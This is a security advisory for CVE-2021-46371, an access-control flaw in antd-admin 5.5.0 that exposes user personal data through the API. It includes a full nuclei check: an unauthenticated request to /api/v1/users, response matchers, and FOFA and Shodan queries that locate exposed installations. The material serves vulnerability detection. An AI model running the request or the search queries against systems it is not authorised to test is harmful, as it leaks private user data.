AntD Admin - Sensitive Information Disclosure

highseverity

7.5CVSS score

4.4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

AntD Admin has a security vulnerability that stems from Antd-admin 5.5.0 being affected by an incorrect access control vulnerability. Attackers can exploit this vulnerability to gain unauthorized access to some front-end interfaces, resulting in the leakage of sensitive information such as user IDs, names, ages, phone numbers, addresses, and more.

Impact

Unauthorized users can access sensitive information, leading to potential data leakage and privacy breaches.

Fix

Update to the latest version of antd-admin that addresses access control issues.

How to confirm it

Send: GET {{BaseURL}}/api/v1/users
Positive when: contains "email\":" and "data\":[{\"id\":" and "phone\":\"" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-46371 -u <target>

The full check

id: CVE-2021-46371

info:
  name: AntD Admin - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    AntD Admin has a security vulnerability that stems from Antd-admin 5.5.0 being affected by an incorrect access control vulnerability. Attackers can exploit this vulnerability to gain unauthorized access to some front-end interfaces, resulting in the leakage of sensitive information such as user IDs, names, ages, phone numbers, addresses, and more.
  impact: |
    Unauthorized users can access sensitive information, leading to potential data leakage and privacy breaches.
  remediation: |
    Update to the latest version of antd-admin that addresses access control issues.
  reference:
    - https://github.com/zuiidea/antd-admin/issues/1127
    - https://github.com/zuiidea/antd-admin
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46371
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-306
    cve-id: CVE-2021-46371
    epss-score: 0.04388
    epss-percentile: 0.91386
  metadata:
    verified: true
    max-request: 1
    vendor: zuiidea
    product: antd-admin
    fofa-query: 'body="/@@/devScripts.js" && body="//! umi version:" && body="/umi.js"'
    shodan-query: html:"/umi.js" html:"@@/devScripts.js"
  tags: cve,cve2021,antdadmin,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/users"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'email":'
          - 'data":[{"id":'
          - 'phone":"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from